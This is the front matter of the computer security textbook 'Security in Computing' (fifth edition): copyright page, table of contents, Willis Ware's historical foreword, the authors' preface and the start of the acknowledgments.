Research Paper


Security in Computing


This page intentionally left blank

Security in Computing


Charles P. Pfleeger Shari Lawrence Pfleeger

Jonathan Margulies

Upper Saddle River, NJ • Boston • Indianapolis • San Francisco New York • Toronto • Montreal • London • Munich • Paris • Madrid

Capetown • Sydney • Tokyo • Singapore • Mexico City

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and the publisher was aware of a trademark claim, the designations have been printed with initial capital letters or in all capitals.

The authors and publisher have taken care in the preparation of this book, but make no expressed or implied warranty of any kind and assume no responsibility for errors or omissions. No liability is assumed for incidental or consequential damages in connection with or arising out of the use of the information or programs contained herein.

For information about buying this title in bulk quantities, or for special sales opportunities (which may include electronic versions; custom cover designs; and content particular to your business, training goals, marketing focus, or branding interests), please contact our corporate sales department at [email protected] or (800) 382-3419.

For government sales inquiries, please contact [email protected].

For questions about sales outside the U.S., please contact [email protected].

Visit us on the Web:

Library of Congress Cataloging-in-Publication Data Pfleeger, Charles P., 1948– Security in computing / Charles P. Pfleeger, Shari Lawrence Pfleeger, Jonathan Margulies.— Fifth edition. pages cm Includes bibliographical references and index. ISBN 978-0-13-408504-3 (hardcover : alk. paper)—ISBN 0-13-408504-3 (hardcover : alk. paper) 1. Computer security. 2. Data protection. 3. Privacy, Right of. I. Pfleeger, Shari Lawrence. II. Margulies, Jonathan. III. Title. QA76.9.A25P45 2015 005.8—dc23 2014038579

Copyright © 2015 Pearson Education, Inc.

All rights reserved. Printed in the United States of America. This publication is protected by copyright, and permission must be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval system, or transmission in any form or by any means, electronic, mechanical, photocopying, recording, or likewise. For information regarding permissions, request forms and the appropriate contacts within the Pearson Education Global Rights & Permissions Department, please visit

ISBN-13: 978-0-13-408504-3 ISBN-10: 0-13-408504-3 3 17

Executive Editor Bernard Goodwin

Editorial Assistant Michelle Housley

Managing Editor John Fuller

Project Editor Elizabeth Ryan

Copy Editor Mary Lou Nohr

Proofreader Linda Begley

Cover Designer Alan Clements

Compositor Shepherd, Inc.

To Willis Ware, a hero of computer security and privacy.

This page intentionally left blank


Foreword xix

Preface xxv

Acknowledgments xxxi

About the Authors xxxiii

Chapter 1 Introduction 1

1.1 What Is Computer Security? 2 Values of Assets 4

The Vulnerability–Threat–Control Paradigm 5

1.2 Threats 6 Confidentiality 8

Integrity 10

Availability 11

Types of Threats 13

Types of Attackers 16

1.3 Harm 21 Risk and Common Sense 22

Method–Opportunity–Motive 26

1.4 Vulnerabilities 28 1.5 Controls 28 1.6 Conclusion 31 1.7 What’s Next? 32 1.8 Exercises 34


viii Contents

Chapter 2 Toolbox: Authentication, Access Control, and Cryptography 36

2.1 Authentication 38 Identification Versus Authentication 38

Authentication Based on Phrases and Facts: Something You Know 40

Authentication Based on Biometrics: Something You Are 53

Authentication Based on Tokens: Something You Have 65

Federated Identity Management 68

Multifactor Authentication 70

Secure Authentication 70

2.2 Access Control 72 Access Policies 72

Implementing Access Control 75

Procedure-Oriented Access Control 85

Role-Based Access Control 85

2.3 Cryptography 86 Problems Addressed by Encryption 87

Terminology 87

DES: The Data Encryption Standard 95

AES: Advanced Encryption System 98

Public Key Cryptography 100

Public Key Cryptography to Exchange Secret Keys 103

Error Detecting Codes 109

Trust 117

Certificates: Trustable Identities and Public Keys 121

Digital Signatures—All the Pieces 124

2.4 Exercises 127

Chapter 3 Programs and Programming 131

3.1 Unintentional (Nonmalicious) Programming Oversights 133 Buffer Overflow 134

Incomplete Mediation 152

Time-of-Check to Time-of-Use 155

Undocumented Access Point 157

Off-by-One Error 159

Integer Overflow 160

Contents ix

Unterminated Null-Terminated String 161

Parameter Length, Type, and Number 162

Unsafe Utility Program 162

Race Condition 163

3.2 Malicious Code—Malware 166 Malware—Viruses, Trojan Horses, and Worms 167

Technical Details: Malicious Code 176

3.3 Countermeasures 196 Countermeasures for Users 197

Countermeasures for Developers 203

Countermeasure Specifically for Security 216

Countermeasures that Don’t Work 224

Conclusion 229 Exercises 229

Chapter 4 The Web—User Side 232

4.1 Browser Attacks 234 Browser Attack Types 234

How Browser Attacks Succeed: Failed Identification

and Authentication 240

4.2 Web Attacks Targeting Users 245 False or Misleading Content 246

Malicious Web Content 253

Protecting Against Malicious Web Pages 259

4.3 Obtaining User or Website Data 260 Code Within Data 261

Website Data: A User’s Problem, Too 265

Foiling Data Attacks 266

4.4 Email Attacks 267 Fake Email 267

Fake Email Messages as Spam 267

Fake (Inaccurate) Email Header Data 273

Phishing 274

Protecting Against Email Attacks 275

4.5 Conclusion 277 4.6 Exercises 278

x Contents

Chapter 5 Operating Systems 280

5.1 Security in Operating Systems 280 Background: Operating System Structure 281

Security Features of Ordinary Operating Systems 282

A Bit of History 284

Protected Objects 286

Operating System Tools to Implement Security Functions 292

5.2 Security in the Design of Operating Systems 308 Simplicity of Design 309

Layered Design 309

Kernelized Design 312

Reference Monitor 313

Correctness and Completeness 314

Secure Design Principles 315

Trusted Systems 316

Trusted System Functions 319

The Results of Trusted Systems Research 325

5.3 Rootkit 329 Phone Rootkit 329

Rootkit Evades Detection 330

Rootkit Operates Unchecked 334

Sony XCP Rootkit 335

TDSS Rootkits 336

Other Rootkits 338

5.4 Conclusion 338 5.5 Exercises 339

Chapter 6 Networks 341

6.1 Network Concepts 342 Background: Network Transmission Media 343

Background: Protocol Layers 349

Background: Addressing and Routing 350

Part I—War on Networks: Network Security Attacks 353 6.2 Threats to Network Communications 354

Interception: Eavesdropping and Wiretapping 354

Modification, Fabrication: Data Corruption 361

Interruption: Loss of Service 366

Port Scanning 369

Vulnerability Summary 374

Contents xi

6.3 Wireless Network Security 374 WiFi Background 374

Vulnerabilities in Wireless Networks 381

Failed Countermeasure: WEP (Wired Equivalent Privacy) 388

Stronger Protocol Suite: WPA (WiFi Protected Access) 390

6.4 Denial of Service 396 Example: Massive Estonian Web Failure 396

How Service Is Denied 398

Flooding Attacks in Detail 402

Network Flooding Caused by Malicious Code 403

Network Flooding by Resource Exhaustion 407

Denial of Service by Addressing Failures 408

Traffic Redirection 413

DNS Attacks 414

Exploiting Known Vulnerabilities 419

Physical Disconnection 420

6.5 Distributed Denial-of-Service 421 Scripted Denial-of-Service Attacks 423

Bots 426

Botnets 426

Malicious Autonomous Mobile Agents 430

Autonomous Mobile Protective Agents 430

Part II—Strategic Defenses: Security Countermeasures 432 6.6 Cryptography in Network Security 432

Network Encryption 433

Browser Encryption 437

Onion Routing 443

IP Security Protocol Suite (IPsec) 444

Virtual Private Networks 447

System Architecture 450

6.7 Firewalls 451 What Is a Firewall? 452

Design of Firewalls 453

Types of Firewalls 454

Personal Firewalls 465

Comparison of Firewall Types 467

Example Firewall Configurations 467

Network Address Translation (NAT) 472

Data Loss Prevention 473

xii Contents

6.8 Intrusion Detection and Prevention Systems 474 Types of IDSs 476

Other Intrusion Detection Technology 481

Intrusion Prevention Systems 482

Intrusion Response 483

Goals for Intrusion Detection Systems 486

IDS Strengths and Limitations 488

6.9 Network Management 489 Management to Ensure Service 489

Security Information and Event Management (SIEM) 492

6.10 Conclusion 496 6.11 Exercises 496

Chapter 7 Databases 501

7.1 Introduction to Databases 502 Concept of a Database 502

Components of Databases 502

Advantages of Using Databases 506

7.2 Security Requirements of Databases 507 Integrity of the Database 507

Element Integrity 508

Auditability 510

Access Control 511

User Authentication 512

Availability 512

Integrity/Confidentiality/Availability 512

7.3 Reliability and Integrity 513 Protection Features from the Operating System 513

Two-Phase Update 514

Redundancy/Internal Consistency 516

Recovery 516

Concurrency/Consistency 517

7.4 Database Disclosure 518 Sensitive Data 518

Types of Disclosures 519

Preventing Disclosure: Data Suppression and Modification 529

Security Versus Precision 530

Contents xiii

7.5 Data Mining and Big Data 535 Data Mining 536

Big Data 540

7.6 Conclusion 549 Exercises 549

Chapter 8 Cloud Computing 551

8.1 Cloud Computing Concepts 551 Service Models 552

Deployment Models 552

8.2 Moving to the Cloud 553 Risk Analysis 553

Cloud Provider Assessment 554

Switching Cloud Providers 556

Cloud as a Security Control 557

8.3 Cloud Security Tools and Techniques 560 Data Protection in the Cloud 561

Cloud Application Security 566

Logging and Incident Response 567

8.4 Cloud Identity Management 568 Security Assertion Markup Language 570

OAuth 573

OAuth for Authentication 577

8.5 Securing IaaS 579 Public IaaS Versus Private Network Security 580

8.6 Conclusion 583 Where the Field Is Headed 584

To Learn More 584

8.7 Exercises 584

Chapter 9 Privacy 586

9.1 Privacy Concepts 587 Aspects of Information Privacy 587

Computer-Related Privacy Problems 590

9.2 Privacy Principles and Policies 596 Fair Information Practices 596

U.S. Privacy Laws 597

xiv Contents

Controls on U.S. Government Websites 599

Controls on Commercial Websites 600

Non-U.S. Privacy Principles 603

Individual Actions to Protect Privacy 605

Governments and Privacy 607

Identity Theft 609

9.3 Authentication and Privacy 610 What Authentication Means 611

Conclusions 615

9.4 Data Mining 616 Government Data Mining 617

Privacy-Preserving Data Mining 617

9.5 Privacy on the Web 619 Understanding the Online Environment 620

Payments on the Web 621

Site and Portal Registrations 622

Whose Page Is This? 622

Precautions for Web Surfing 624

Spyware 628

Shopping on the Internet 630

9.6 Email Security 632 Where Does Email Go, and Who Can Access It? 632

Interception of Email 633

Monitoring Email 633

Anonymous, Pseudonymous, and Disappearing Email 634

Spoofing and Spamming 635

Summary 636

9.7 Privacy Impacts of Emerging Technologies 636 Radio Frequency Identification 636

Electronic Voting 640

VoIP and Skype 642

Privacy in the Cloud 642

Conclusions on Emerging Technologies 643

9.8 Where the Field Is Headed 644 9.9 Conclusion 645 9.10 Exercises 645

Contents xv

Chapter 10 Management and Incidents 647

10.1 Security Planning 647 Organizations and Security Plans 648

Contents of a Security Plan 649

Security Planning Team Members 656

Assuring Commitment to a Security Plan 656

10.2 Business Continuity Planning 658 Assess Business Impact 660

Develop Strategy 660

Develop the Plan 661

10.3 Handling Incidents 662 Incident Response Plans 662

Incident Response Teams 665

10.4 Risk Analysis 668 The Nature of Risk 669

Steps of a Risk Analysis 670

Arguments For and Against Risk Analysis 684

10.5 Dealing with Disaster 686 Natural Disasters 686

Power Loss 688

Human Vandals 689

Interception of Sensitive Information 692

Contingency Planning 694

Physical Security Recap 698

10.6 Conclusion 699 10.7 Exercises 700

Chapter 11 Legal Issues and Ethics 702

11.1 Protecting Programs and Data 704 Copyrights 704

Patents 711

Trade Secrets 714

Special Cases 716

11.2 Information and the Law 717 Information as an Object 717

Legal Issues Relating to Information 720

xvi Contents

The Legal System 721

Summary of Protection for Computer Artifacts 724

11.3 Rights of Employees and Employers 725 Ownership of Products 725

Employment Contracts 727

11.4 Redress for Software Failures 728 Selling Correct Software 729

Reporting Software Flaws 731

11.5 Computer Crime 733 Why a Separate Category for Computer Crime Is Needed 734

Why Computer Crime Is Hard to Define 736

Why Computer Crime Is Hard to Prosecute 736

Examples of Statutes 737

International Dimensions 741

Why Computer Criminals Are Hard to Catch 742

What Computer Crime Does Not Address 743

Summary of Legal Issues in Computer Security 743

11.6 Ethical Issues in Computer Security 744 Differences Between the Law and Ethics 744

Studying Ethics 746

Ethical Reasoning 747

11.7 Incident Analysis with Ethics 750 Situation I: Use of Computer Services 750

Situation II: Privacy Rights 752

Situation III: Denial of Service 753

Situation IV: Ownership of Programs 754

Situation V: Proprietary Resources 756

Situation VI: Fraud 757

Situation VII: Accuracy of Information 758

Situation VIII: Ethics of Hacking or Cracking 759

Situation IX: True Representation 762

Conclusion of Computer Ethics 764

Conclusion 765 Exercises 765

Chapter 12 Details of Cryptography 768

12.1 Cryptology 769 Cryptanalysis 769

Cryptographic Primitives 773

Contents xvii

One-Time Pads 775

Statistical Analysis 776

What Makes a “Secure” Encryption Algorithm? 777

12.2 Symmetric Encryption Algorithms 779 DES 779

AES 789

RC2, RC4, RC5, and RC6 792

12.3 Asymmetric Encryption with RSA 795 The RSA Algorithm 795

Strength of the RSA Algorithm 797

12.4 Message Digests 799 Hash Functions 799

One-Way Hash Functions 799

Message Digests 800

12.5 Digital Signatures 802 Elliptic Curve Cryptosystems 802

El Gamal and Digital Signature Algorithms 803

The NSA–Cryptography Controversy of 2012 804

12.6 Quantum Cryptography 807 Quantum Physics 807

Photon Reception 808

Cryptography with Photons 808

Implementation 811

12.7 Conclusion 811

Chapter 13 Emerging Topics 813

13.1 The Internet of Things 814 Medical Devices 815

Mobile Phones 818

Security in the Internet of Things 820

13.2 Economics 821 Making a Business Case 821

Quantifying Security 825

Current Research and Future Directions 832

13.3 Electronic Voting 834 What Is Electronic Voting? 835

What Is a Fair Election? 836

What Are the Critical Issues? 837

xviii Contents

13.4 Cyber Warfare 841 What Is Cyber Warfare? 842

Possible Examples of Cyber Warfare 843

Critical Issues 846

13.5 Conclusion 850

Bibliography 851

Index 877


I n the 1950s and 1960s, the prominent conference gathering places for practitioners and users of computer technology were the twice yearly Joint Computer Confer- ences (JCCs)—initially called the Eastern and Western JCCs, but later renamed the

Spring and Fall JCCs and even later, the annual National (AFIPS) Computer Confer- ence. From this milieu, the topic of computer security—later to be called information system security and currently also referred to as “protection of the national information infrastructure”—moved from the world of classified defense interests into public view.

A few people—Robert L. Patrick, John P. Haverty, and myself among others—all then at The RAND Corporation (as its name was then known) had been talking about the growing dependence of the country and its institutions on computer technology. It concerned us that the installed systems might not be able to protect themselves and their data against intrusive and destructive attacks. We decided that it was time to bring the security aspect of computer systems to the attention of the technology and user communities.


From the authors: Willis Ware kindly wrote the foreword that we published in both the third and fourth editions of Security in Computing. In his foreword he covers some of the early days of computer security, describing concerns that are as valid today as they were in those earlier days.

Willis chose to sublimate his name and efforts to the greater good of the projects he worked on. In fact, his thoughtful analysis and persuasive leadership contributed much to the final outcome of these activities. Few people recognize Willis’s name today; more people are familiar with the European Union Data Protection Directive that is a direct descendant of the report [WAR73a] from his committee for the U.S. Department of Human Services. Willis would have wanted it that way: the emphasis on the ideas and not on his name.

Unfortunately, Willis died in November 2013 at age 93. We think the lessons he wrote about in his Foreword are still important to our readers. Thus, with both respect and gratitude, we republish his words here.

xx Foreword

The enabling event was the development within the National Security Agency (NSA) of a remote-access time-sharing system with a full set of security access controls, run- ning on a Univac 494 machine, and serving terminals and users not only within the headquarters building at Fort George G. Meade, Maryland, but also worldwide. Fortu- itously, I knew details of the system.

Persuading two others from RAND to help—Dr. Harold Peterson and Dr. Rein Turn—plus Bernard Peters of NSA, I organized a group of papers and presented it to the SJCC conference management as a ready-made additional paper session to be chaired by me. [1] The conference accepted the offer, and the session was presented at the Atlantic City (NJ) Convention Hall in 1967.

Soon thereafter and driven by a request from a defense contractor to include both defense classified and business applications concurrently in a single mainframe machine functioning in a remote-access mode, the Department of Defense, acting through the Advanced Research Projects Agency (ARPA) and later the Defense Science Board (DSB), organized a committee, which I chaired, to study the issue of security controls for computer systems. The intent was to produce a document that could be the basis for formulating a DoD policy position on the matter.

The report of the committee was initially published as a classified document and was formally presented to the sponsor (the DSB) in January 1970. It was later declassified and republished (by The RAND Corporation) in October 1979. [2] It was widely circu- lated and became nicknamed “the Ware report.” The report and a historical introduction are available on the RAND website. [3]

Subsequently, the United States Air Force (USAF) sponsored another committee chaired by James P. Anderson. [4] Its report, published in 1972, recommended a 6-year R&D security program totaling some $8M. [5] The USAF responded and funded sev- eral projects, three of which were to design and implement an operating system with security controls for a specific computer.

Eventually these activities led to the “Criteria and Evaluation” program sponsored by the NSA. It culminated in the “Orange Book” [6] in 1983 and subsequently its support- ing array of documents, which were nicknamed “the rainbow series.” [7] Later, in the 1980s and on into the 1990s, the subject became an international one leading to the ISO standard known as the “Common Criteria.” [8]

It is important to understand the context in which system security was studied in the early decades. The defense establishment had a long history of protecting classified information in document form. It had evolved a very elaborate scheme for compart- menting material into groups, sub-groups and super-groups, each requiring a specific personnel clearance and need-to-know as the basis for access. [9] It also had a centuries- long legacy of encryption technology and experience for protecting classified informa- tion in transit. Finally, it understood the personnel problem and the need to establish the trustworthiness of its people. And it certainly understood the physical security matter.

Thus, the computer security issue, as it was understood in the 1960s and even later, was how to create in a computer system a group of access controls that would imple- ment or emulate the processes of the prior paper world, plus the associated issues of protecting such software against unauthorized change, subversion and illicit use, and of embedding the entire system in a secure physical environment with appropriate

Foreword xxi

management oversights and operational doctrine and procedures. The poorly under- stood aspect of security was primarily the software issue with, however, a collateral hardware aspect; namely, the risk that it might malfunction—or be penetrated—and subvert the proper behavior of software. For the related aspects of communications, personnel, and physical security, there was a plethora of rules, regulations, doctrine and experience to cover them. It was largely a matter of merging all of it with the hardware/ software aspects to yield an overall secure system and operating environment.

However, the world has now changed and in essential ways. The desk-top computer and workstation have appeared and proliferated widely. The Internet is flourishing and the reality of a World Wide Web is in place. Networking has exploded and com- munication among computer systems is the rule, not the exception. Many commercial transactions are now web-based; many commercial communities—the financial one in particular—have moved into a web posture. The “user” of any computer system can literally be anyone in the world. Networking among computer systems is ubiquitous; information-system outreach is the goal.

The net effect of all of this has been to expose the computer-based information system— its hardware, its software, its software processes, its databases, its communications—to an environment over which no one—not end-user, not network administrator or system owner, not even government—has control. What must be done is to provide appropriate technical, procedural, operational and environmental safeguards against threats as they might appear or be imagined, embedded in a societally acceptable legal framework.

And appear threats did—from individuals and organizations, national and interna- tional. The motivations to penetrate systems for evil purpose or to create malicious software—generally with an offensive or damaging consequence—vary from personal intellectual satisfaction to espionage, to financial reward, to revenge, to civil disobedi- ence, and to other reasons. Information-system security has moved from a largely self- contained bounded environment interacting with a generally known and disciplined user community to one of worldwide scope with a body of users that may not be known and are not necessarily trusted. Importantly, security controls now must deal with circum- stances over which there is largely no control or expectation of avoiding their impact. Computer security, as it has evolved, shares a similarity with liability insurance; they each face a threat environment that is known in a very general way and can generate attacks over a broad spectrum of possibilities; but the exact details or even time or cer- tainty of an attack is unknown until an event has occurred.

On the other hand, the modern world thrives on information and its flows; the con- temporary world, society and institutions cannot function without their computer- communication-based information systems. Hence, these systems must be protected in all dimensions—technical, procedural, operational, environmental. The system owner and its staff have become responsible for protecting the organization’s information assets.

Progress has been slow, in large part because the threat has not been perceived as real or as damaging enough; but also in part because the perceived cost of comprehensive information system security is seen as too high compared to the risks—especially the financial consequences—of not doing it. Managements, whose support with appropriate funding is essential, have been slow to be convinced.

xxii Foreword

This book addresses the broad sweep of issues above: the nature of the threat and system vulnerabilities (Chapter 1); cryptography (Chapters 2 and 12); software vulnerabilities (Chapter 3); the Common Criteria (Chapter 5); the World Wide Web and Internet (Chapters 4 and 6); managing risk (Chapter 10); and legal, ethical and privacy issues (Chapter 11). The book also describes security controls that are currently available such as encryption protocols, software development practices, firewalls, and intrusion-detection systems. Overall, this book provides a broad and sound foundation for the information-system specialist who is charged with planning and/or organizing and/or managing and/or implementing a comprehensive information-system security program.

Yet to be solved are many technical aspects of information security—R&D for hard- ware, software, systems, and architecture; and the corresponding products. Notwith- standing, technology per se is not the long pole in the tent of progress. Organizational and management motivation and commitment to get the security job done is. Today, the collective information infrastructure of the country and of the world is slowly moving up the learning curve; every mischievous or malicious event helps to push it along. The terrorism-based events of recent times are helping to drive it. Is it far enough up the curve to have reached an appropriate balance between system safety and threat? Almost certainly, the answer is “no, not yet; there is a long way to go.” [10]

—Willis H. Ware RAND

Santa Monica, California

Foreword xxiii


1. “Security and Privacy in Computer Systems,” Willis H. Ware; RAND, Santa Mon- ica, CA; P-3544, April 1967. Also published in Proceedings of the 1967 Spring Joint Computer Conference (later renamed to AFIPS Conference Proceedings), pp 279 seq, Vol. 30, 1967.

“Security Considerations in a Multi-Programmed Computer System,” Bernard Peters; Proceedings of the 1967 Spring Joint Computer Conference (later renamed to AFIPS Conference Proceedings), pp 283 seq, vol 30, 1967.

“Practical Solutions to the Privacy Problem,” Willis H. Ware; RAND, Santa Monica, CA; P-3544, April 1967. Also published in Proceedings of the 1967 Spring Joint Computer Conference (later renamed to AFIPS Conference Proceedings), pp 301 seq, Vol. 30, 1967.

“System Implications of Information Privacy,” Harold E. Peterson and Rein Turn; RAND, Santa Monica, CA; P-3504, April 1967. Also published in Proceedings of the 1967 Spring Joint Computer Conference (later renamed to AFIPS Conference Proceed- ings), pp 305 seq, vol. 30, 1967.

2. “Security Controls for Computer Systems,” (Report of the Defense Science Board Task Force on Computer Security), RAND, R-609-1-PR. Initially published in January 1970 as a classified document. Subsequently, declassified and republished October 1979.

3., “Security Controls for Computer Systems”; R-609.1, RAND, 1979, Historical setting for R-609.1

4. “Computer Security Technology Planning Study,” James P. Anderson; ESD-TR-73-51, ESD/AFSC, Hanscom AFB, Bedford, MA; October 1972.

5. All of these documents are cited in the bibliography of this book. For images of these historical papers on a CDROM, see the “History of Computer Security Project, Early Papers Part 1,” Professor Matt Bishop; Department of Computer Science, University of California at Davis.

6. “DoD Trusted Computer System Evaluation Criteria,” DoD Computer Security Cen- ter, National Security Agency, Ft George G. Meade, Maryland; CSC-STD-001-83; Aug 15, 1983.

7. So named because the cover of each document in the series had a unique and distinctively colored cover page. For example, the “Red Book” is “Trusted Network Interpretation,” National Computer Security Center, National Security Agency, Ft. George G. Meade, Maryland; NCSC-TG-005, July 31, 1987. USGPO Stock number 008-000-00486-2.

8. “A Retrospective on the Criteria Movement,” Willis H. Ware; RAND, Santa Monica, CA; P-7949, 1995.

9. This scheme is nowhere, to my knowledge, documented explicitly. However, its com- plexity can be inferred by a study of Appendices A and B of R-609.1 (item [2] above).

10. “The Cyberposture of the National Information Infrastructure,” Willis H. Ware; RAND, Santa Monica, CA; MR-976-OSTP, 1998. Available online at: publications/MR/MR976/mr976.html.

This page intentionally left blank


T ablets, smartphones, TV set-top boxes, GPS navigation devices, exercise moni- tors, home security stations, even washers and dryers come with Internet connec- tions by which data from and about you go to places over which you have little

visibility or control. At the same time, the list of retailers suffering massive losses of customer data continues to grow: Home Depot, Target, T.J. Maxx, P.F. Chang’s, Sally Beauty. On the one hand people want the convenience and benefits that added con- nectivity brings, while on the other hand, people are worried, and some are seriously harmed by the impact of such incidents. Computer security brings these two threads together as technology races forward with smart products whose designers omit the basic controls that can prevent or limit catastrophes.

To some extent, people sigh and expect security failures in basic products and com- plex systems. But these failures do not have to be. Every computer professional can learn how such problems occur and how to counter them. Computer security has been around as a field since the 1960s, and it has developed excellent research, leading to a good understanding of the threat and how to manage it.

One factor that turns off many people is the language: Complicated terms such as polymorphic virus, advanced persistent threat, distributed denial-of-service attack, inference and aggregation, multifactor authentication, key exchange protocol, and intru- sion detection system do not exactly roll off the tongue. Other terms sound intriguing but opaque, such as worm, botnet, rootkit, man in the browser, honeynet, sandbox, and script kiddie. The language of advanced mathematics or microbiology is no less con- founding, and the Latin terminology of medicine and law separates those who know it from those who do not. But the terms and concepts of computer security really have straightforward, easy-to-learn meaning and uses.

The premise of computer security is quite simple: Vul- nerabilities are weaknesses in products, systems, protocols, algorithms, programs, inter- faces, and designs. A threat is


Vulnerability: weakness Threat: condition that exercises vulnerability Incident: vulnerability + threat Control: reduction of threat or vulnerablity

xxvi Preface

a condition that could exercise a vulnerability. An incident occurs when a threat does exploit a vulnerability, causing harm. Finally, people add controls or countermeasures to prevent, deflect, diminish, detect, diagnose, and respond to threats. All of computer security is built from that simple framework. This book is about bad things that can hap- pen with computers and ways to protect our computing.


Admit it. You know computing entails serious risks to the privacy of your personal data, the integrity of your data, or the operation of your computer. Risk is a fact of life: Crossing the street is risky, perhaps more so in some places than others, but you still cross the street. As a child you learned to stop and look both ways before crossing. As you became older you learned to gauge the speed of oncoming traffic and determine whether you had the time to cross. At some point you developed a sense of whether an oncoming car would slow down or yield. We hope you never had to practice this, but sometimes you have to decide whether darting into the street without looking is the best means of escaping danger. The point is all these matters depend on knowledge and experience. We want to help you develop comparable knowledge and experience with respect to the risks of secure computing.

The same thing can be said about computer security in everything from personal devices to complex commercial systems: You start with a few basic terms, principles, and concepts. Then you learn the discipline by seeing those basics reappear in numer- ous situations, including programs, operating systems, networks, and cloud comput- ing. You pick up a few fundamental tools, such as authentication, access control, and encryption, and you understand how they apply in defense strategies. You start to think like an attacker, predicting the weaknesses that could be exploited, and then you shift to selecting defenses to counter those attacks. This last stage of playing both offense and defense makes computer security a creative and challenging activity.


This book is intended for people who want to learn about computer security; if you have read this far you may well be such a person. This book is intended for three groups of people: college and university students, computing professionals and managers, and users of all kinds of computer-based systems. All want to know the same thing: how to control the risk of computer security. But you may differ in how much information you need about particular topics: Some readers want a broad survey, while others want to focus on particular topics, such as networks or program development.

This book should provide the breadth and depth that most readers want. The book is organized by general area of computing, so that readers with particular interests can find information easily.

Preface xxvii


The chapters of this book progress in an orderly manner, from general security concerns to the particular needs of specialized applications, and then to overarching management and legal issues. Thus, this book progresses through six key areas of interest:

1. Introduction: threats, vulnerabilities, and controls 2. The security practitioner’s “toolbox”: identification and authentication, access

control, and encryption

3. Application areas of computer security practice: programs, user–Internet inter- action, operating systems, networks, data and databases, and cloud computing

4. Cross-cutting disciplines: privacy, management, law and ethics 5. Details of cryptography 6. Emerging application domains

The first chapter begins like many other expositions: by laying groundwork. In Chapter 1 we introduce terms and definitions, and give some examples to justify how these terms are used. In Chapter 2 we begin the real depth of the field by introducing three concepts that form the basis of many defenses in computer security: identifica- tion and authentication, access control, and encryption. We describe different ways of implementing each of these, explore strengths and weaknesses, and tell of some recent advances in these technologies.

Then we advance through computing domains, from the individual user outward. In Chapter 3 we begin with individual programs, ones you might write and those you only use. Both kinds are subject to potential attacks, and we examine the nature of some of those attacks and how they could have been prevented. In Chapter 4 we move on to a type of program with which most users today are quite familiar: the browser, as a gateway to the Internet. The majority of attacks today are remote, carried from a distant attacker across a network, usually the Internet. Thus, it makes sense to study Internet- borne malicious code. But this chapter’s focus is on the harm launched remotely, not on the network infrastructure by which it travels; we defer the network concepts to Chapter 6. In Chapter 5 we consider operating systems, a strong line of defense between a user and attackers. We also consider ways to undermine the strength of the operating sys- tem itself. Chapter 6 returns to networks, but this time we do look at architecture and technology, including denial-of-service attacks that can happen only in a network. Data, their collection and protection, form the topic of Chapter 7, in which we look at data- base management systems and big data applications. Finally, in Chapter 8 we explore cloud computing, a relatively recent addition to the computing landscape, but one that brings its own vulnerabilities and protections.

In Chapters 9 through 11 we address what we have termed the intersecting disciplines: First, in Chapter 9 we explore privacy, a familiar topic that relates to most of the six domains from programs to clouds. Then Chapter 10 takes us to the management side of computer security: how management plans for and addresses computer security problems. Finally, Chapter 11 explores how laws and ethics help us control computer behavior.

xxviii Preface

We introduced cryptography in Chapter 2. But the field of cryptography involves entire books, courses, conferences, journals, and postgraduate programs of study. And this book needs to cover many important topics in addition to cryptography. Thus, we made two critical decisions: First, we treat cryptography as a tool, not as a field of study. An automobile mechanic does not study the design of cars, weighing such fac- tors as aerodynamics, fuel consumption, interior appointment, and crash resistance; a mechanic accepts a car as a given and learns how to find and fix faults with the engine and other mechanical parts. Similarly, we want our readers to be able to use cryptog- raphy to quickly address security problems; hence we briefly visit popular uses of cryptography in Chapter 2. Our second critical decision was to explore the breadth of cryptography slightly more in a later chapter, Chapter 12. But as we point out, entire books have been written on cryptography, so our later chapter gives an overview of more detailed work that interested readers can find elsewhere.

Our final chapter detours to four areas having significant computer security hazards. These are rapidly advancing topics for which the computer security issues are much in progress right now. The so-called Internet of Things, the concept of connecting many devices to the Internet, raises potential security threats waiting to be explored. Econom- ics govern many security decisions, so security professionals need to understand how economics and security relate. Convenience is raising interest in using computers to implement elections; the easy steps of collecting vote totals have been done by many jurisdictions, but the hard part of organizing fair online registration and ballot-casting have been done in only a small number of demonstration elections. And the use of com- puters in warfare is a growing threat. Again, a small number of modest-sized attacks on computing devices have shown the feasibility of this type of campaign, but security professionals and ordinary citizens need to understand the potential—both good and bad—of this type of attack.


What background should you have to appreciate this book? The only assumption is an understanding of programming and computer systems. Someone who is an advanced undergraduate or graduate student in computing certainly has that background, as does a professional designer or developer of computer systems. A user who wants to under- stand more about how programs work can learn from this book, too; we provide the necessary background on concepts of operating systems or networks, for example, before we address the related security concerns.

This book can be used as a textbook in a one- or two-semester course in computer security. The book functions equally well as a reference for a computer professional or as a supplement to an intensive training course. And the index and extensive bibliogra- phy make it useful as a handbook to explain significant topics and point to key articles in the literature. The book has been used in classes throughout the world; instructors often design one-semester courses that focus on topics of particular interest to the stu- dents or that relate well to the rest of a curriculum.

Preface xxix


This is the fifth edition of Security in Computing, first published in 1989. Since then, the specific threats, vulnerabilities, and controls have changed, as have many of the underlying technologies to which computer security applies. However, many basic con- cepts have remained the same.

Most obvious to readers familiar with earlier editions will be some new chapters, specifically, on user–web interaction and cloud computing, as well as the topics we raise in the emerging topics chapter. Furthermore, pulling together the three fundamen- tal controls in Chapter 2 is a new structure. Those are the big changes, but every chapter has had many smaller changes, as we describe new attacks or expand on points that have become more important.

One other feature some may notice is the addition of a third coauthor. Jonathan Margulies joins us as an essential member of the team that produced this revision. He is currently director of the security practice at Qmulos, a newly launched security con- sulting practice. He brings many years of experience with Sandia National Labs and the National Institute for Standards and Technology. His focus meshes nicely with our existing skills to extend the breadth of this book.

This page intentionally left blank


I t is increasingly difficult to acknowledge all the people who have influenced this book. Colleagues and friends have contributed their knowledge and insight, often without knowing their impact. By arguing a point or sharing explanations of con-

cepts, our associates have forced us to question or rethink what we know. We thank our associates in at least two ways. First, we have tried to include ref-

erences to their written works. References in the text cite specific papers relating to particular thoughts or concepts, but the bibliography also includes broader works that have played a more subtle role in shaping our approach to security. So, to all the cited authors, many of whom are friends and colleagues, we happily acknowledge your posi- tive influence on this book.

